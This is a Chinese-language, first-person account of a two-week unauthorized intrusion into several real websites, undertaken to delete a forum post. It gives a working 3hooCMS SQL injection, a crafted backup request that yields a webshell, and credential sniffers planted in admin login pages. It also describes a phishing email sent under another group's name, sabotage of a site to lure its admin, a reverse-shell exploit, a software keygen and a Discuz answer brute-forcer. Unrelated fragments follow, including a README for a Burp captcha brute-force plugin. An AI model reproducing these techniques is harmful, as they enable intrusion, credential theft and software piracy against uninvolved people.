在漏洞调试成功后的第2天，我准备用这个exp提权时，用菜刀连上我的webshell，谁知道却返回404.
我把[www.aaa.com](http://www.aaa.com) 输入浏览器后，返回如下信息，如图10
图10
从图10看到，那个昨天刚拿下的网站，今天域名就过期，我悲催的人生仍在延续，我能说什么呢。
### 0×05 杀个回马枪
我只能老老实实再杀回来，仔细分析虚拟主机上剩下的那几个网站了。那个悲催的站被关闭了之后剩下的不是discuz! X2
就是静态html的站，再不就是很知名的较新版本的无已知漏洞的cms了，就只有一个asp的站，地址为：<http://www.bbb.com>。也许这个站是唯一的突破口了，用后台扫描器很容易扫到后台是<http://www.bbb.com/manage/>
如图11
图11
从图11很清晰的得到这个网站程序是3hooCMS V3
SP2，我搜了一下，没有找到这个版本的漏洞，较低的版本倒是有一个xss漏洞，并且也没有这个版本CMS的公开下载，我怀疑目标是商业版。我只找到3hooCMS_V2_SP2的下载。
下载完后我在vmware_win2003下搭了环境，开始分析其源代码。
经过一段时间的分析，我发现Search.Asp这个文件存在sql注入漏洞。
代码第9行到12行
Dim TplFileUrl,TplStr,Sql,Rs,rCid,Cid
SoKey=trim(request("sokey"))
page=request.QueryString("page")
第10行SoKey变量没有经过任何过滤传了进来。
第41到47行
if SoKey="" then
csql=""
filename="Search.Asp"
else
filename="Search.Asp?sokey="&SoKey
end if
sql="select * from [info] where "&LanguageSet&"Name like'%"&SoKey&"%' order by id desc;"
SoKey被当做搜索型变量传入sql语句中。
因此这里存在是一个搜索型的注入漏洞。
由于是已知的cms，其表名和字段名都不用猜了：
管理员表名：ScmsAdmin
用户名字段：username 密码字段：password .
选择好关键字直接在nbsi工具里跑吧。
很遗憾的是没有跑出任何结果，于是我在目标网站手工在搜索输入框里测试。
当输入33%' and 1=1 and '%'='时查询出了一些结果。
而输入33%' and 1=2 and
'%'='时又没有任何结果。完全没有问题啊，sql语句肯定执行了，注入百分之百存在，但为什么就是跑不出来呢。我突然想到，也许新版本第10行代码应该是这么写的吧
SoKey=trim(request.form("sokey"))
这是post提交方式哦，我马上变换成了post的扫描方式，终于得出了结果如图12
图12
得到加密的密码【fead0df1fe60103eaba454dd0a7e0842】后拿到cmd5解密，于是我悲催的运气再次降临，掏钱都无法解密。看来这年头不设置个10位以上字母+数字+特殊字符的密码都不好意思和别人打招呼啊。
### 0×06 不成功的社工
Md5密码破不出来其实是常有的事，不过也说明国内上网用户的安全意识也在一步步的提高。我考虑到既然他网站有这个注入漏洞，那么管理员即便改了密码，我仍然能通过SQL注入漏洞得到hash，如果他能改一个cmd5能破出来的简单的密码不就有希望了吗？于是我借用2011年底的网络安全密码泄露门事件，给管理员发了一封email。如图13：
图13
很不好意思，这里我借用了90sec.org的名义，因为我觉得90sec中有很多小孩的技术水平还是蛮高的，并且喜欢免费给某些网站提交漏洞。
Email发出去2天后，再次注入得出密码的hash，发现他没有修改。我也感觉此路不通，即便他修改了，很有可能密码还是很bt复杂的破不出来啊。
后来又想到去社工主网站[www.111.com](http://www.111.com)
的管理员，询问他为什么主网站不能注册普通用户，也不能登录，是不是网站程序坏掉了。想借他们修复普通用户注册功能后，上传一个含有php木马的图片,再利用iis7.5的解析漏洞得到shell。但得到的答复是，他们就是专门禁止普通用户注册和登陆的。
罢了，我社工真的不擅长，不太会与人交互，还是靠自己吧。
### 0×07 V5的迂回战术
考虑到好不容易拿到<http://www.bbb.com>的hash，不能这么轻易放过这个站啊。于是想到看这个管理员有没有其他的站，通过拿下他自己的另外的站然后再得到其密码也是一个不错的选择。这就是所谓的迂回战术吧，我不从正面进攻了，我从你有弱点的地方进攻还不行嘛？
于是我根据他网站提供的信息，再加上whois查询、域名查询、谷歌、百度，终于发现这个管理员在其他虚拟机还存在三个类似的站分别是:
<http://www.bbb1.com>
<http://www.bbb2.com>
<http://www.bbb3.com>
虚拟主机操作系统同样是windows2003.令人兴奋的是这三个站与[www.bbb.com](http://www.bbb.com)使用的是同一套cms，都是3hooCMS
V3 SP2.
利用我前面发现的sql注入漏洞很容易得到bbb1、bbb2两个站的后台管理员的密码hash都为【fead0df1fe60103eaba454dd0a7e0842】，和bbb.com是一样无法破解的。
第五次悲催的运气令我暂时放弃了一段时间。
又过了一天，我怀着百分之一的希望把[www.bbb3.com](http://www.bbb3.com)
也扫了一遍，但惊奇的是密码hash和其他三个都不一样，立刻拿到cmd5去破解，但需要花一毛钱才能破解。虽然国内企业不重视安全人才，把搞网络安全的薪水压的很低，但一毛钱我还是付的起的。如图14：
如图14
就这样我拿到了www.bbb3.com管理员的密码。这下我感到形式一片大好，思路是这样：
1. 通过进入bbb3.com的后台，得到一个webshell。
2. 再从webshell里通过提权跨目录到bbb2.com。
3. 改写bbb2.com的后台登陆后代码，嗅探其明文密码。
4. 同步进行ftp密码的破解，顺便去尝试bbb.com的ftp。
至此我感觉这个迂回的战术还算威武吧。
### 0×08 从再读cms源代码到后台getshell
进入[www.bbb3.com](http://www.bbb3.com)
后台后，尝试了上传的地方，又看了源代码，发现没什么漏洞，他严格检测了后缀并以时间格式强制改了上传后的文件名。应该是较成熟的上传代码。而网站设置那块是写入数据库的。唯一可能出问题的地方也就是数据库备份这里了。如图15：
图15
从图15得知数据库的路径和后缀，不过看着诱人的asa后缀，却做好了防下载处理，我利用asp小马代码入库的方式来测试，发现#Data23%base#.asa是无法执行asp的。
只剩下备份这里容易出问题了。
大家肯定是这样想的，上传一个带一句话asp木马的图片，然后备份这个图片为asp不就完事了吗？
但悲催的是有以下几个问题需要解决：
1. 当前数据库路径输入框这里和备份数据库名称输入框这里都是只读的，无法更改。
2. 即便备份为a.asp;a.jpg也不可执行（我后来才知道，可能是防火墙拦截的原因）。
第一个问题好处理，客户端的一切防御手段都是浮云。一个readonly能阻挡我这个久经沙场的老将吗？不论是把其htm存下来，把action完整路径附上提交，还是用firefox的插件，再或是用国外的神器burpsuite，都能轻松绕过。
至于第二个问题，我发现肯定备份出了a.asp;a.jpg类型的文件，可是用浏览器访问却总是出现恶心的404错误。
我只能再看其cms源代码，看他备份这里到底是如何处理的。
看了一会儿后，如愿以偿的发现了问题，漏洞文件为Admin_DataBackup.asp
代码65—83行代码如下：
sub backupdata()
Dbpath=request.form("Dbpath")
Dbpath=server.mappath(Dbpath)
bkfolder=request.form("bkfolder")
bkdbname=request.form("bkdbname")
Set Fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(dbpath) then
72.If CheckDir(bkfolder) = True Then
73.fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
74.else
75.MakeNewsDir bkfolder
76.fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
end if
response.write "<center>备份数据库成功，备份的数据库路径为 " & bkfolder & "\" & bkdbname & ".mdb</center>"
response.write "<center><a href='Databackup\" & bkdbname & ".mdb' a>下载本次备份数据库到本地</a></center>"
Else
response.write "找不到您所需要备份的文件。"
End if
end sub
第68行 bkfolder=request.form("bkfolder") 没有对目录名做过滤。
而request.form("bkfolder")是从第37行这句代码传过来的。
<td height="22"><input type="hidden" size=50 name=bkfolder value=Databackup ></td>
说明默认情况下bkfolder= Databackup这个目录。
第72到76行，是说检测bkfolder这个目录是否存在，如果不存在就调用
MakeNewsDir bkfolder 这个函数。
再看98—103行代码如下：
Function MakeNewsDir(foldername)
Set fso1 = CreateObject("Scripting.FileSystemObject")
Set f = fso1.CreateFolder(foldername)
MakeNewsDir = True
Set fso1 = nothing
End Function
直接调用fso创建一个没有过滤的参数的文件夹。
这时大家可能都想到了，那么如果我们上传的时候抓包，把默认的文件夹Databackup改为kyo.asp，那不就创建了一个kyo.asp的文件夹吗？这样配合iis6.0的漏洞将可以成功执行我的美女图片asp木马。
实战当中也是这样的，把抓的包改为这样的形式,再用nc提交就KO了。
POST /manage/Admin_DataBackup.asp?action=Backup HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: www.bbb3.com
Content-Length: 77
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSATTCRQC=LFGDIANCDLPBPGNJNCMPKEIM; Scms%5FVerifyCode=9109
DBpath=..%2FUpLoadFile%2F20120112012046769.jpg&bkfolder=kyo.asp&bkDBname=data
那么备份成功后，菜刀提交url路径类似于这样：
<http://www.bbb3.com/manage/kyo.asp/data.mdb>
至此也算拿下了一个webshell，万里长征又进了一步。
### 0×09 asp登陆口嗅探变态的密码
幸运的是[www.bbb3.com](http://www.bbb3.com)
所在的虚拟主机没有做什么安全措施，传上去一个aspx的木马就可以跨到[www.bbb1.com](http://www.bbb1.com)和[www.bbb2.com](http://www.bbb2.com)
的目录里去了，毕竟aspx默认是权限稍大的user权限。在尝试ftp密码无果后，下一步就是在bbb1和bbb2的后台登陆口页面写嗅探代码了。
我在Admin_Send.asp页面第8行开始添加以下代码：
thename=replace(trim(request.form("username")),"'","")
thepass=replace(trim(Request.form("password")),"'","")
SaveFile="page.gif"
GetPostStr=thename&"|"&thepass
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
I.WriteLine(GetPostStr)
I.close
Set F=nothing
只要管理员登陆后台，密码就会被记录在page.gif中，剩下的就只有等了。
但我不是一个忍者，等了一天无果后，我就在他数据库网站配置字段做了点手脚
致使访问他网站首页是空白，但是后台还是可以正常登陆的。果然这家伙不到半天就急了，当天晚上的时候我就顺利的嗅探到了他的变态的密码。如图16：
图16
从图16可以看到，密码果然很强悍，10位以上，字母数字再加上+-号，让www.cmd5.com再添50公斤的硬盘也破不了啊。
拿到这个关键性的密码，再用前面研究出的3hoocms
后台getshell漏洞，轻车熟路的拿下[www.bbb.com](http://www.bbb.com)
的webshell，也就是a.111.com所在的虚拟主机。
接下来的任务就是提权跨目录到a.111.com了。
### 0×0a 突破星外+护卫神
进行到这里，在星外虚拟主机+护卫神.入侵防护专家的防御之下，确实让人望而却步。好在php版本比较低，我终于用上了那个调试好的php溢出漏洞。在metasploit生成一个反弹端口的shellcode添加到那个exp.php代码中后。我在本机执行nc
–vvlp 8181,然后把exp.php传到[www.bbb.com](http://www.bbb.com)
根目录。当我在浏览器打开<http://www.bbb.com/exp.php>时，立刻出现了如图17的错误：
图17
从图17返回的内容来看，应该是没有成功。后来我在vmware_win2003设置了和目标操作系统+php版本+php执行方式（ISAPI）一模一样的环境，我顺利反弹回来一个nt
network权限的shell。这里我考虑应该是w3wp.exe 执行的shellcode ，所以继承w3wp的nt
network权限。但不论怎样也是个交互式可执行命令的shell啊。我第6次悲催的运气，促使我终于找到了答案，原来目标win2003打开了dep（堆栈数据执行保护）。
我仍然没有气馁，虽然上次域名过期那个站的目录没有执行aspx的权限，那么这个[www.bbb.com](http://www.bbb.com)
的目录我还没试呢。万一支持aspx不就又多一种执行命令的方法吗？即这个方法：
System.Diagnostics.Process.Start(@"calc.exe");)
这次我果然没有再次苦命，bbb.com是支持aspx的，只是有两个问题需要解决。
1. 护卫神几乎杀光了所有的aspx木马，需要突破。
2. 星外虚拟主机的可写可执行目录的寻找是个大麻烦。需要寻觅一个，上传cmd.exe，来支持aspx执行命令，因为大家都知道win2003默认情况，c:\windows\system32\cmd.exe只对administrator有权限读写。
第一个问题比较好解决，我记得我写过一篇在黑客手册发表的《浅谈在webshell下执行命令》这一篇文，里面有我提供的三种aspx执行命令的小马。使用任何一个，改变一下字段名，除去敏感字符串，再把函数位置条换一下。也就能过了，最多也就是再加密一下而已。这个难不倒我，毕竟混在看雪论坛研究加密解密算法也有几年光景。
至于第二个问题，我倒没有什么好方法，只能写个遍历脚本，测试可读的每一个目录是否有漏网的可写目录存在了。这个网上有很多先人已经写出过这样的方法了，用拿来主义改一改即可。
终于被我找到了星外的一个可写目录是：
C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
剩下的事情就简单了，我也懒得用pr大杀器，也用不着最新windows全版本的0day提权exp这个牛刀了。直接传一个cscript.exe+iisgetpass.vbs
读出所有网站用户的配置信息和密码即可。iisgetpass.vbs代码大家都有，我就不在这里占篇幅了。
最终结果如图18：
图18
一般这样的结构的网站,iis账户的密码就是ftp的密码。就这样我得到了a.111.com的ftp账户和密码，并成功把其拿下。
由于主目标[www.aaa.com](http://www.aaa.com)
只开80,也无法用这个ftp密码去尝试它，并且再用这个密码尝试其论坛管理员的密码又无结果，只能继续嗅探了。
### 0×0b php嗅探目标管理员密码
拿下a.111.com后，还是有一些惊喜的。我看到了www.111.com
的早期的论坛数据库存在于a.111.com的库中，并且我经过转换，其管理员的discuz! Hash密码与a.111.com的md5 hash密码是一样的。
其实这个对比很简单。
假设a.111.com中管理员的密码hash为：228ab4dd53787ce32a88ade0eeea8a51
早期www.111.com的discuz管理员密码hash为：
8946fa73f2b44b64da2ebab1aaa57ec6：42ee90
那么测试md5(228ab4dd53787ce32a88ade0eeea8a5142ee90)如果等于8946fa73f2b44b64da2ebab1aaa57ec6，则说明两个密码的明文是一样的。
因为discuz加密的方式是：md5(md5($pass).$salt)，我恰恰证实了这一点。
由于密码的复杂度不是现代的人类所能暴力破解的，我于是又一次选择了php登陆口密码嗅探。
于此同时还在继续着另一个工作，就是查找那个帖子所在版块的斑竹的用户名，拿到这些任何一个斑竹的密码不也一样能删帖子达到目的吗？但第7次悲催的运气告诉我，你省省吧，人家那个版块的斑竹就是管理员一个人。我再次无语。
还是老老实实的写代码嗅探吧。
我找到a.111.com的前台和后台登陆口添加了下面的代码。
$username1 = $this->Username;
$password1 = $this->Password;
$file="././images/ bg1.gif";
$handle = @fopen("././images/th_bg1.gif", "a");
$recontent = fread($handle,filesize($file));
$content= $username1."----".$password1."----date is:".date("Y-m-d H:i:s")."\r\n";
$result=$recontent."\r\n".$content;
@fwrite($handle,$result);
这次我没有着急，因为我发现这个管理员很勤快，几乎天天更新博客，于是第二天顺利记录到其密码。
### 0×0c discuz!提示问题的阻碍
在拿到管理员变态密码迫不及待的登陆之后，第8次悲催的运气也同时降临了。他需要提示问题的答案才能登陆。
鬼才知道他母亲的名字，他爷爷的名字，他父亲出生的城市，他老师的名字……
再说他也不一定就老老实实写真实答案啊。
在以前，我遇到此类情况都是直接放弃，但是这次不同，前面一个多礼拜承载了我太多的磨难和脑细胞，我无法说服自己放弃。
不是有一个早期的bbs的用户数据库嘛？我于是找到了密码提示问题答案的加密字段为：2afd4591.仅仅是一个8位的串，到底是什么加密算法呢。
我再次担当了阅读源代码的苦力差事。引用2yue的一句话，把我累得跟骆驼一样，终于得到如下结果。
Discuz提示问题有7个，按数字序号是1,2,3,4,5,6,7。设为变量$i
明文答案设为变量$pass.
那么2afd4591=substr(md5($pass.md5($id)),16,8)
这样的话，提示问题答案是可以暴力跑的啊，但如果他的答案是汉字或者很变态的长度的明文，也是很难爆出来的。我发现他最后的hash串仅仅是8位，那么有很大的几率是可以碰撞成功的。
于是我认为：肯定存在多个明文，hash与2afd4591一样，但明文不一样，我十分肯定我的分析。
下面就需要先制作一个大字典，然后开始写程序，碰撞吧。
### 0×0d OllyDBG调试superdic并制作注册机
我可没有那么多耐性去做重复的工作，我认为肯定有很多人写过字典生成工具，下载一个用就是了。于是我下载到这个小工具superdic，还挺好用的。如图19：
图19
图19告诉我，如果要使用完整功能，需要花注册费15元，在国内企业压榨我们搞网络安全的薪水的背景下，还让我掏出这15块钱，貌似不是太容易的。
自己操刀OllyDBG调试一下，看这个作者用什么加密算法保护自己的程序吧。其实有时候调试算法，破解作者的加密思路也是一个不错的游戏，但是这次我没有那么多精力了，如果它能在两个小时内阻挡我，那我就从我绵薄的存款中给作者奉献一回吧。
先用peid加载superdic.exe如图20
图20
从图20可以看出，软件是vc++6.0写的，且没有加壳。看到这些我很遐意，看来省了我不少事。再用ida加载函数库符号并导入OllyDBG后，就可以开始分析了。
F9运行后我首先用注册码等于123456789，点注册，弹出一个对话框，提示“请重启本程序，如果您输入的注册密码正确，将能使用本软件的全部功能，并可享受后续版本的免费升级。”那么一般来说，重启验证要么是keyfile,要么是写入注册表。经过下断点测试，我发现该程序使用的是注册表验证。
这样一来，下断就有思路了。
用OllyDBG加载superdic.exe后，在命令行下断bp
RegOpenKeyExA,然后按f9让其运行，眼睛同时观察着右边的堆栈窗口，在第6次f9之后，断在了这里如图21：
图21
从堆栈可以看到该软件注册表的位置是：Software\EUsoft\superdic
用regedit打开看一下这个位置如图22：
图22
图22中看到了superdic把用户名和注册码都保存在了Software\EUsoft\superdic这个位置。
这时在0x77da7852这个位置，按f2取消断点，然后alt+f9即可回到应用程序领空。这样一路f8可以来到这里
/*403AEA*/ LEA ESI,DWORD PTR DS:[EBX+6FC]
/*403AF0*/ PUSH ESI
/*403AF1*/ CALL superdic.004027A0
/*403AF6*/ ADD ESP,0C
/*403AF9*/ MOV ECX,EBX
/*403AFB*/ PUSH ESI
/*403AFC*/ PUSH 4A0
/*403B01*/ CALL superdic.00430B3C
/*403B06*/ MOV EDX,DWORD PTR DS:[EBX+218]
/*403B0C*/ LEA ESI,DWORD PTR DS:[EBX+218]
/*403B12*/ PUSH 0FF
/*403B17*/ MOV ECX,ESI
可以在0x403af0处设置一个断点，接着f7进入CALL superdic.004027A0，大致一看应该是申请号的生成方法,代码如下：
004027A0 SUB ESP,0C
004027A3 PUSH ESI
004027A4 PUSH 0C
004027A6 CALL superdic.004319E7
004027AB PUSH 0A
004027AD MOV ESI,EAX
004027AF CALL superdic.004319E7
004027B4 ADD ESP,8
004027B7 LEA ECX,DWORD PTR SS:[ESP+C]
004027BB LEA EDX,DWORD PTR SS:[ESP+4]
004027BF PUSH 0A ; /pFileSystemNameSize = 0000000A
004027C1 PUSH EAX ; |pFileSystemNameBuffer
004027C2 LEA EAX,DWORD PTR SS:[ESP+10] ; |
004027C6 PUSH EAX ; |pFileSystemFlags
004027C7 PUSH ECX ; |pMaxFilenameLength
004027C8 PUSH EDX ; |pVolumeSerialNumber
004027C9 PUSH 0C ; |MaxVolumeNameSize = C (12.)
004027CB PUSH ESI ; |VolumeNameBuffer
004027CC PUSH superdic.00446148 ; |RootPathName = "c:\"
004027D1 CALL DWORD PTR DS:[<&KERNEL32.GetVolumeI>; \GetVolumeInformationA
004027D7 MOV EAX,DWORD PTR SS:[ESP+4]
004027DB MOV ESI,DWORD PTR SS:[ESP+14]
004027DF PUSH EAX
004027E0 PUSH superdic.00446144 ; ASCII "%x"
004027E5 PUSH ESI
004027E6 CALL <superdic._sprintf>
这段代码大概是使用GetVolumeInformationA函数再加上其他一系列操作生成申请号的过程，因为是逆注册算法，这一块我们不关心，可以直接f8过去看结果即可，而事实上也确实生成一个子串是24578843，与图19中的申请号相一致。
我接着往下走，前面不关键的地方就不跟了，一直走到这里：
/*403D48*/ LEA EAX,DWORD PTR DS:[EBX+6FC]
/*403D4E*/ PUSH ECX
/*403D4F*/ PUSH EAX
/*403D50*/ CALL superdic.004034E0
可以看到把申请号压入了堆栈，而函数CALL superdic.004034E0经判断是对申请号做了一次加密过程。从堆栈处看到加密后密文是：
0012EF6C 0012EFA0 ASCII "BqwITTcm8kG5lcEk"
接着再f8配合f7来慢慢走。
/*403D5B*/ PUSH ESI
/*403D5C*/ CALL superdic.00403630
403d5b的位置是把注册码压入堆栈，随即利用CALL superdic.00403630做了一次加密过程。
过了这个call后把我预设的123456789加密成了l6345q789.看下面堆栈数据。
0012EF64 0012FCA0 ASCII "l6345q789"
随后又经过一些对算法无用的代码后来到这里：
/*403EBD*/ MOV DL,BYTE PTR DS:[ESI]
/*403EBF*/ MOV CL,BYTE PTR DS:[EDI]
/*403EC1*/ MOV AL,DL
/*403EC3*/ CMP DL,CL
/*403EC5*/ JNZ SHORT superdic.00403EE5
/*403EC7*/ TEST AL,AL
/*403EC9*/ JE SHORT superdic.00403EE1
/*403ECB*/ MOV CL,BYTE PTR DS:[ESI+1]
/*403ECE*/ MOV DL,BYTE PTR DS:[EDI+1]
/*403ED1*/ MOV AL,CL
/*403ED3*/ CMP CL,DL
/*403ED5*/ JNZ SHORT superdic.00403EE5
/*403ED7*/ ADD ESI,2
/*403EDA*/ ADD EDI,2
/*403EDD*/ TEST AL,AL
/*403EDF*/ JNZ SHORT superdic.00403EBD
/*403EE1*/ XOR EAX,EAX
/*403EE3*/ JMP SHORT superdic.00403EEA
/*403EE5*/ SBB EAX,EAX
/*403EE7*/ SBB EAX,-1
/*403EEA*/ XOR EDX,EDX
/*403EEC*/ PUSH 476
/*403EF1*/ TEST EAX,EAX
/*403EF3*/ SETE DL
/*403EF6*/ MOV ECX,EBX
/*403EF8*/ MOV DWORD PTR DS:[EBX+90],EDX
这段代码即是：BqwITTcm8kG5lcEk与l6345q789的对比过程，如果相等就注册成功。
作者的大题思路就是这样吧，如果爆破的话只需要把403EF1处改为下面的代码即可。
/*403EF1*/ MOV DL,1
但分析到这里，爆破已经满足不了我的欲望了，再说离我的两个小时还差的远呢。接着看看作者算法的思路吧。
既然我分析的思路已经清晰，我在这里再稍作整理：、
设CALL superdic.004034E0函数=f1()
CALL superdic.00403630函数=f2()
如果f1(申请号)=f2(注册码) 那么就注册成功。
看来f2()函数是关键啊，需要写出它的逆函数，f7进去一看，貌似还很长，如图23：
图23
仅仅图23的一页，还显示不完，我再次像骆驼一样的f7走来走去，再加上ida的f5，终于对这段代码有了初步的了解。
最终我使用了一种巧妙的办法写出了这段代码的逆函数如下。
有点基础的朋友自己看代码吧。我也不好在这里占用太大篇幅去深析这个算法的逆向过程。
void DicDecode(char *str)
{
char end[64]={0};
if (strlen(str) !=16) *str=0;
for(int i=0,j=0;i<16,j<64;i++,j=j+4)
{
if(str[i]<='9' && str[i]>='0')
{
end[j]=str[i]-22;
goto LABEL_a;
}
if(str[j]<='z' && str[i]>='a')
{
end[j]=str[i]-61;
goto LABEL_a;
}
if(str[i]<='Z' && str[i]>='A')
{
end[j]=str[i]-65;
}
LABEL_a:
;
}
for(i=0;i<64;i=i+4)
{
if(end[i]<=i)
{
end[i]=i-end[i];
}
}
int v10[16];
for(int k=0,n=0;k<16,n<64;k++,n=n+4)
{
v10[k]=(int)end[n];
}
for(i=0;i<16;i++)
{
if(v10[i] <= 25 && v10[i]>=0)
{
str[i]=v10[i]+ 65;
goto LABEL_bb;
}
if(v10[i] <= 35 && v10[i]>=26)
{
str[i]=v10[i]+ 22;
goto LABEL_bb;
}
if(v10[i] < 61 && v10[i]>=36)
{
str[i]=v10[i]+ 61;
}
LABEL_bb:
;
}
char sigeliu[5]={0x36,0x36,0x36,0x36,0};
strcat(str,sigeliu);
}
总之最后累的跟骆驼似的终于还是凑出了这个半成品的注册机。如图24：
图24
该注册机的用法是在00403D5B处，看堆栈得到f1(申请号)= BqwITTcm8kG5lcEk.
把这个值写入密文框内，点击解密就得到其注册码。这时看了看表大概用了110分钟，好险，差点损失15块钱。
### 0×0e discuz!提示问题也是浮云，碰撞V5
字典生成器破解完后，我开始酝酿写这个discuz! 提示问题的碰撞程序。由于php的易用性，我选择用它来写。说白了也就是个穷举的过程。代码如下：
<?
/*discuz提示问题答案暴力破解程序。by kyo327*/
error_reporting(0);
if ($argc<2) {
print_r('
\------------------------------------------------------------------
Usage: php '.$argv[0].' hash
Example:
php '.$argv[0].' 91de8255
\------------------------------------------------------------------
');
die;
}
$fd=fopen("pass.dic",r);
if(!$fd)
{
echo "error:打开字典文件错误" ;
die;
}
while($buf=fgets($fd))
{
for($i=1;$i<8;$i++)
{
$tmp=substr(md5(trim($buf).md5($i)),16,8);
//echo $tmp;
$conn = strcmp($tmp,$argv[1]);
if($conn==0)
{
echo "密码破解成功。\n"."提示问题答案为：".$buf."提示的问题为:".theask((int)$i)."\n";
die;
}
}
}
if($conn!=0)
{
echo "没有正确的密码";
}
fclose($fd);
function theask($var){
if($var==1) {
return "母亲的名字";
}
elseif($var==2) {
return "爷爷的名字";
}
elseif($var==3) {
return "父亲出生的城市";
}
elseif($var==4) {
return "您其中一位老师的名字";
}
elseif($var==5) {
return "您个人计算机的型号";
}
elseif($var==6) {
return "您最喜欢的餐馆名称";
}
elseif($var==7) {
return "驾驶执照最后四位数字";
}
}
?>
我使用自己保存的100M大字典破解没有成功。后来我把这个脚本放在了一朋友的服务器上，然后用superdic生成了3G的大字典，直接丢在服务器上碰撞吧。
其实我坚信，在8位的字母加数字的大字典中去做碰撞的话肯定会成功的。只是我没有那么大的硬盘，只做了6位字母来测试。
又经过一天后，等我登陆朋友的服务器3389之时，我发现得到了结果如图25：
图25
我敢肯定，ufedys肯定不是这个管理员的答案。于是hash相同，明文却不相同的碰撞终于成功了。我默默在心里说了声：碰撞V5。
剩下的应该比较容易了，登入后台，上传一个带php一句话木马的美女图片。（不要告诉我，你在discuz!
X2后台找不到上传的地方啊）。然后利用类似这样的url：
<http://www.222.com/data/attachment/common/cf/212018txqnu4rcee3iek52.jpg/kyo.php>
连接菜刀，就这样彻底拿下了该目标。
既然Webshell都拿到了，删帖子这么简单的事情还用我继续说吗？
### 0×0f 后记
到这里，费时两周的渗透也算是结束了，实战过程中其实还遇到了更多的各种各样问题，只不过本文是后来补写的，很多细节都忘却了，但主要的东西都已经在文章中体现了。
最后我还是想提一提国内的安全现状，不出事不代表你们没有被入侵过，在我工作过的这几年，做了不少安全检测，每次渗透测试拿到shell之时，大都发现有黑客进来的痕迹，这些还都是不知道打扫日志的菜鸟呢。安全圈内流传一句话，只要有毅力没有日不下来的站，我深信之。以我这种菜鸟的水平，在别人给我目标时我都可以保证50%的成功率，还用说国内归隐的各种日站大牛吗？
所以最后要敬告国内的某些大公司，请善待网络安全人才。另外在2012新的一年里祝愿冰点极限的2yue、kindle、小龙猪、老马（Marcos）、lcx、np、孤水绕城、Beach、顺、安静、alex、紫夜、cnbug等好友们婚姻与事业双丰收。 | 社区文章 |
### 0x01 简介
一个burp插件，自动识别图形验证码，并用于Intruder中的Payload。
项目主页：<https://github.com/bit4woo/reCAPTCHA>
### 0x02 使用
**安装** ：
1. 从[这里](https://github.com/bit4woo/reCAPTCHA/releases)下载插件。
2. 将它添加到burp。如果没有遇到错误，你将看到一个新的名为“reCAPTCHA”的tab。
**准备** ：
1. 通过burp代理访问目标网站的登录界面。
2. 在proxy中找到获取图形验证码的请求，选中它并点击右键选择“Send to reCAPTCHA”，这个请求的信息将被发送到reCAPTCHA。
3. 切换到reCAPTCHA标签，并配置所需的参数。当参数配置好后，你可以点击“请求”按钮来测试配置。
4. <http://www.ysdm.net> 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写，才能成功调用接口完成图片的识别。该API需要的参数如下，请用正确的值替换%s ，特别注意typeid值的设定(<http://www.ysdm.net/home/PriceType)。>
`username=%s&password=%s&typeid=%s&timeout=%s&softid=%s&softkey=%s`
**在Intruder中使用** ：
完成了配置并测试成功后，现在可以在Intruder中使用该插件生成的payload了。有2种情况：用户名或密码之一+验证码；用户名+密码+验证码；
**情况一** ：只有密码或只有用户名需要改变，我们可以用Pitchfork 模式来配置。
比如，已知系统存在一个用户admin，来爆破该用户，插入点标记如下，
payload 1我们从文件中加载，这个不必多说。
payload 2 选择`Extension-Generated`
运行效果如下：
**情况二**
：用户名和口令都需要改变，这个稍微复杂点。我们还是使用`Pichfork`模式，但需要将用户名和密码一起标注为一个插入点。像这样:
payload 1 使用`自定义迭代器（Custom interator）`。并在迭代器中组合用户名和密码。
在该例子中，即`position 1`为用户名，`position 2`为`&j_password=`，`postion 3`为密码。
payload 2 的配置和情况一中的配置完全一样。
运行效果如图：
### reCAPTCHA界面截图
### 日志
2017-11-01：第一个demo版本发布。 | 社区文章 |
# 2月26日安全热点 - 趋势科技邮件加密网关被曝存在多个严重漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
在基于Linux的趋势科技电子邮件加密网关中发现十几个漏洞
> [Dozen vulnerabilities discovered in Trend Micro Linux-based Email
> Encryption
> Gateway](http://securityaffairs.co/wordpress/69499/hacking/trendmicro-email-> encryption-gateway-flaws.html)
俄罗斯被指出于报复攻击冬奥会且嫁祸于朝鲜
<https://www.securityweek.com/russia-hacked-olympics-computers-turned-blame-north-korea-report>
## 技术类
哪些网络钓鱼邮件具有接近100％的点击率？
<https://arabhackingnews.blogspot.nl/2018/02/which-phishing-messages-have-near-100.html>
未经引导的Windows内核函数/结构查找方法
<https://secrary.com/Random/unexported/>
如何利用CSS窃取您的WEB数据
[CSS Steals Your Web Data](https://hackaday.com/2018/02/25/css-steals-your-web-data/)
如何利用docker运行SpiderFoot
<http://www.spiderfoot.net/blog/spiderfoot-running-in-docker/>
如何在Kotlin编写您的第一个程序？
<https://hackernoon.com/how-to-write-your-first-program-in-kotlin-8554cb526158>
Parasiting web server process with webshells in permissive environments
<https://x-c3ll.github.io/posts/parasite-web-server-process/>
Raschietto：一个简单的网页抓取库
<https://hackernoon.com/raschietto-a-simple-library-for-web-scraping-46957c6aa5b7>
Fun with self-decryption
<https://x64dbg.com/blog/2018/02/25/fun-with-self-decryption.html>
Palo Alto 发布耐用型防火墙：适用工控及其他恶劣环境
<http://www.aqniu.com/tools-tech/31686.html>
Automated reconnaissance wrapper — TomNomNom’s meg on steroids
<https://github.com/EdOverflow/megplus>
PyExZ3 Example with HackSysExtremeVulnerableDriver
<https://gist.github.com/jthuraisamy/06a28d7ebb60dd47386477af68d8cbcf> | 社区文章 |
# 【技术分享】沙盒逃逸技术详解（三）
|
##### 译文声明
本文是翻译文章，文章来源：vmray.com
原文地址：<https://www.vmray.com/blog/sandbox-evasion-techniques-part-3/>
译文仅供参考，具体内容表达以及含义原文为准。
****
